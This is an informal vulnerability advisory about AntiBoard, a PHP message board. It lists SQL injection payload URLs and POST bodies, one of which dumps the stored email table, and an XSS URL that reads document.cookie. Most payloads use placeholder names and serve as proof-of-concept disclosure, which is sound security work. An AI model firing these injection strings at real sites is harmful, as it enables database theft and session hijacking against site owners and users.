- Introduction
++++++++++++++

This widely used board is small and compact as stated before, great to
use for home users running a webserver and want some bulletin board
action.

From the site:
AntiBoard is a small and compact multi-threaded bulletin board/message
board system written in PHP. It uses either MySQL or PostgreSQL as the
database backend, and has support for different languages. It is not
meant as the end all be all of bulletin boards, but rather something
to easily integrate into your own page.

I found these while just playing around with the software, I tend to
start playing around with software on freshmeat when i get bored..
(yeah i know, get a life).

- XSS/Injection Points
++++++++++++++

There are a number of SQL points within this piece of software. Some
are harmless, others can produce tables that you may not want to have
others see...

Lets begin...

SQL Injection Points:
UNION QUERY USING GET:
============
/antiboard.php?thread_id=1%20UNION%20ALL%20select%20field%20from%20whatever--&mode=threaded&sort_order=
============
/antiboard.php?range=all&mode=threaded&thread_id=1&reply=1&parent_id=1%20UNION%20ALL%20select%20field%20from%20whatever--
============
/antiboard.php?range=all&thread_id=1%20UNION%20ALL%20select%20field%20from%20whatever--&sort_order=ASC&mode=threaded
============
antiboard.php?thread_id=1&parent_id=1%20UNION%20ALL%20select%20field%20from%20whatever--&mode=nested&reply=1
============

STORED PROCEDURE POSSIBLE:
============
POST antiboard.php 
poster_name=1111&poster_email=1111&message_title=1111&message_body=1111&submit=Submit%2bmessage&thread_id=3&mode=1';%20exec%20whatever--&range=&parent_id=0&reply=reply
============

UNION QUERY USING POST:
============
POST antiboard.php 
poster_name=1111&poster_email=1111&message_title=1111&message_body=1111&submit=Submit%2bmessage&thread_id=3&mode=threaded&range=&parent_id=1%20UNION
 ALL select field from antiboard_emails----&reply=reply
============
(try this one out, you may not like the results)

And i only briefly went over XSS, I'm sure its vulnerable in more places..

XSS Injection Point:
http:///antiboard.php?thread_id=1&mode=threaded&range=&feedback=&lt;script&gt;alert(document.cookie);&lt;/script&gt;
